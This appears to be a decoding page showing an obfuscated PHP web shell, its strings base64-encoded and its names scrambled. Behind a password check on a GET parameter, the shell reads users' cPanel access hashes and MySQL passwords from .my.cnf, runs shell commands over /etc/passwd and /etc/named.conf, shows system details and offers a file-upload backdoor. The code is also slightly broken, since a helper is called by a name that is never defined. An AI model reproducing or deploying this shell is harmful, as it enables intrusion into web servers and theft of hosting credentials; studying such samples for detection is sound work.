PHP Decode

<?php 
$GLOBALS["CWhHbZYJyCHjDgyftSxT"] = base64_decode( 
    "PGZvbnQgY29sb3I9ImxpbWUiPik8L2ZvbnQ+PGJyPg==" 
); 
$GLOBALS["EmWCkwJjPRGuYOZtumJp"] = base64_decode( 
    "PGZvbnQgY29sb3I9ImxpbWUiPik8L2ZvbnQ+IFBhc3N3b3JkIDxmb250IGNvbG9yPSJsaW1lIj4oPC9mb250Pg==" 
); 
$GLOBALS["bVJnTtCrgLKHwzfUHjcT"] = base64_decode( 
    "Q3BhbmVsIDogVXNlcm5hbWUgPGZvbnQgY29sb3I9ImxpbWUiPig8L2ZvbnQ+" 
); 
$GLOBALS["enNqNaCvEaCEJfTuGZEY"] = base64_decode("Ig=="); 
$GLOBALS["XpddBdXLrKWyyPYzelqY"] = base64_decode("cGFzc3dvcmQ9Ig=="); 
$GLOBALS["VsvrTtQREFDgBaOKcIDa"] = base64_decode("Ly5teS5jbmY="); 
$GLOBALS["TbNxDPKlgkTrSmyscAU"] = base64_decode("Ij48YnI+"); 
$GLOBALS["ktwCrReEJlzuBUIjBcCk"] = base64_decode("Og=="); 
$GLOBALS["iKRYyVIdmqhPYYCSOcXC"] = base64_decode( 
    "PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iV0hNIA==" 
); 
$GLOBALS["tugkmwKQmrdyfghQnRJj"] = base64_decode(""); 
$GLOBALS["bGeiYINFnrDeFEvupBUY"] = base64_decode("L1xzKy8="); 
$GLOBALS["BAPhtyGHaABClPtZMFxH"] = base64_decode("Ly5hY2Nlc3NoYXNo"); 
$GLOBALS["tFUYJbOtJhmFyZjfsSU"] = base64_decode("L2hvbWUv"); 
$GLOBALS["GuXyhvFeKeLGGJlPUlfF"] = base64_decode("IDwvZm9udD48YnI+"); 
$GLOBALS["iZaVktbokejxXiNkgKpc"] = base64_decode( 
    "PGJyPi9ldGMvcGFzc3dkIDo8Zm9udCBjb2xvcj1saW1lPiA=" 
); 
$GLOBALS["SNGqShxtGwaNGulbEslL"] = base64_decode("IDwvZm9udD4="); 
$GLOBALS["kKfhBOunBTInaqjXYavf"] = base64_decode( 
    "PGJyPi9ldGMvbmFtZWQuY29uZiA6PGZvbnQgY29sb3I9bGltZT4g" 
); 
$GLOBALS["DlsPjKWVrgveEKqsYdSa"] = base64_decode( 
    "PGZvbnQgY29sb3I9cHVycGxlPnIwMHRAdHJlbmdnYWxlazZldGFyOjwvZm9udD5+L3B3bmVkeiQ8L2ZvbnQ+" 
); 
$GLOBALS["qkgFMCDdXJLzPwOVxCGQ"] = base64_decode( 
    "Y2F0IC9ldGMvcGFzc3dkIHwgd2MgLWw=" 
); 
$GLOBALS["huzONxKfYWGPxVPVPes"] = base64_decode( 
    "Y2F0IC9ldGMvbmFtZWQuY29uZiB8IHdjIC1s" 
); 
$GLOBALS["uumolgOuhdTqRsKtfybG"] = base64_decode( 
    "OTFmZWEwYTQxYTAxNzg3YTBkN2ZiNWQzZGU2MGU4MDA=" 
); 
$GLOBALS["WxsIGxRWVdYozJCfEAVQ"] = base64_decode("PGI+R2FnYWwgQ29rPC9iPg=="); 
$GLOBALS["BKNpTvpzulwWjIeUWQJG"] = base64_decode( 
    "PGI+QmVyaGFzaWwgQ29rIC0tPjwvYj4g" 
); 
$GLOBALS["XckkIahjVOedVNldUNrH"] = base64_decode("bmFtZQ=="); 
$GLOBALS["PGnDVWIKgIUmFrZyuhhU"] = base64_decode("dG1wX25hbWU="); 
$GLOBALS["TdnLLeRPHXLfGQQhfeY"] = base64_decode("Zg=="); 
$GLOBALS["jPQfXyMbVRdmRhDpQRPM"] = base64_decode("dg=="); 
$GLOBALS["rsxIByhBFebZeDDZsdU"] = base64_decode( 
    "PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IG5hbWU9diB0eXBlPXN1Ym1pdCBpZD12IHZhbHVlPXVwPjxicj4=" 
); 
$GLOBALS["GBVyRLGosxXOTNjNWxVM"] = base64_decode( 
    "PGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPg==" 
); 
$GLOBALS["mkNpRBwrWJjxjHDDegwo"] = base64_decode( 
    "PGJyPjxmb250IGNvbG9yPSMwMDAwMDA+" 
); 
$GLOBALS["SnsSSwMKZSYeMFnEirnh"] = base64_decode(""); 
$GLOBALS["DGPUKoItNOgKddvVRLxJ"] = base64_decode( 
    "PGZvbnQgY29sb3I9I2ZmMDAwMD4=" 
); 
$GLOBALS["GbTsMVXjRYCygIHSLcUz"] = base64_decode("cmFpbXU="); 
if ( 
    md5($_GET[$GLOBALS["GbTsMVXjRYCygIHSLcUz"]]) == 
    $GLOBALS["uumolgOuhdTqRsKtfybG"] 
) { 
    function OiBkgRvoCiGpNkvNYU( 
        $wZlFjIhFVqCspDQEdeya, 
        $UsdXJbhvzxrvpvatHMkS, 
        $yuNMmedDskyMIoXHAbhW 
    ) { 
        if (strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) === false) { 
            return false; 
        } 
        if (strpos($wZlFjIhFVqCspDQEdeya, $yuNMmedDskyMIoXHAbhW) === false) { 
            return false; 
        } 
        $KwIJJPGByIGobONZejI = 
            strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) + 
            strlen($UsdXJbhvzxrvpvatHMkS); 
        $epLzmNilVVwHedYAdhX = strpos( 
            $wZlFjIhFVqCspDQEdeya, 
            $yuNMmedDskyMIoXHAbhW, 
            $KwIJJPGByIGobONZejI 
        ); 
        $YxQbAHuYxTyiFJgidsZv = substr( 
            $wZlFjIhFVqCspDQEdeya, 
            $KwIJJPGByIGobONZejI, 
            $epLzmNilVVwHedYAdhX - $KwIJJPGByIGobONZejI 
        ); 
        return $YxQbAHuYxTyiFJgidsZv; 
    } 
    $EtpbwgWTVmqVpLJlJWWg = @get_current_user(); 
    $bXtGHeNjhUpBhbQcwUCF = shell_exec($GLOBALS["huzONxKfYWGPxVPVPes"]); 
    $ElgIzjEDBNqybgnnvhJv = shell_exec($GLOBALS["qkgFMCDdXJLzPwOVxCGQ"]); 
    echo $GLOBALS["DlsPjKWVrgveEKqsYdSa"]; 
    echo $GLOBALS["kKfhBOunBTInaqjXYavf"] . 
        $bXtGHeNjhUpBhbQcwUCF . 
        $GLOBALS["SNGqShxtGwaNGulbEslL"]; 
    echo $GLOBALS["iZaVktbokejxXiNkgKpc"] . 
        $ElgIzjEDBNqybgnnvhJv . 
        $GLOBALS["GuXyhvFeKeLGGJlPUlfF"]; 
    if ( 
        file_exists( 
            $GLOBALS["tFUYJbOtJhmFyZjfsSU"] . 
                $EtpbwgWTVmqVpLJlJWWg . 
                $GLOBALS["BAPhtyGHaABClPtZMFxH"] 
        ) 
    ) { 
        $bxTCuxeVRNNjqFkklhWs = file_get_contents( 
            $GLOBALS["tFUYJbOtJhmFyZjfsSU"] . 
                $EtpbwgWTVmqVpLJlJWWg . 
                $GLOBALS["BAPhtyGHaABClPtZMFxH"] 
        ); 
        $bxTCuxeVRNNjqFkklhWs = preg_replace( 
            $GLOBALS["bGeiYINFnrDeFEvupBUY"], 
            $GLOBALS["tugkmwKQmrdyfghQnRJj"], 
            $bxTCuxeVRNNjqFkklhWs 
        ); 
        echo $GLOBALS["iKRYyVIdmqhPYYCSOcXC"] . 
            $EtpbwgWTVmqVpLJlJWWg . 
            $GLOBALS["ktwCrReEJlzuBUIjBcCk"] . 
            $bxTCuxeVRNNjqFkklhWs . 
            $GLOBALS["TbNxDPKlgkTrSmyscAU"]; 
    } 
    if ( 
        file_exists( 
            $GLOBALS["tFUYJbOtJhmFyZjfsSU"] . 
                $EtpbwgWTVmqVpLJlJWWg . 
                $GLOBALS["VsvrTtQREFDgBaOKcIDa"] 
        ) 
    ) { 
        $PHpHWmophZKXweRrVTOV = file_get_contents( 
            $GLOBALS["tFUYJbOtJhmFyZjfsSU"] . 
                $EtpbwgWTVmqVpLJlJWWg . 
                $GLOBALS["VsvrTtQREFDgBaOKcIDa"] 
        ); 
        $PHpHWmophZKXweRrVTOV = ambilkata( 
            $PHpHWmophZKXweRrVTOV, 
            $GLOBALS["XpddBdXLrKWyyPYzelqY"], 
            $GLOBALS["enNqNaCvEaCEJfTuGZEY"] 
        ); 
        echo $GLOBALS["bVJnTtCrgLKHwzfUHjcT"] . 
            $EtpbwgWTVmqVpLJlJWWg . 
            $GLOBALS["EmWCkwJjPRGuYOZtumJp"] . 
            $PHpHWmophZKXweRrVTOV . 
            $GLOBALS["CWhHbZYJyCHjDgyftSxT"]; 
    } 
    echo $GLOBALS["DGPUKoItNOgKddvVRLxJ"] . 
        php_uname() . 
        $GLOBALS["SnsSSwMKZSYeMFnEirnh"]; 
    echo $GLOBALS["mkNpRBwrWJjxjHDDegwo"] . 
        getcwd() . 
        $GLOBALS["SnsSSwMKZSYeMFnEirnh"]; 
    echo $GLOBALS["GBVyRLGosxXOTNjNWxVM"]; 
    echo $GLOBALS["rsxIByhBFebZeDDZsdU"]; 
    if ($_POST[$GLOBALS["jPQfXyMbVRdmRhDpQRPM"]] == up) { 
        if ( 
            @copy( 
                $_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][ 
                    $GLOBALS["PGnDVWIKgIUmFrZyuhhU"] 
                ], 
                $_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][ 
                    $GLOBALS["XckkIahjVOedVNldUNrH"] 
                ] 
            ) 
        ) { 
            echo $GLOBALS["BKNpTvpzulwWjIeUWQJG"] . 
                $_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][ 
                    $GLOBALS["XckkIahjVOedVNldUNrH"] 
                ]; 
        } else { 
            echo $GLOBALS["WxsIGxRWVdYozJCfEAVQ"]; 
        } 
    } 
} 
?>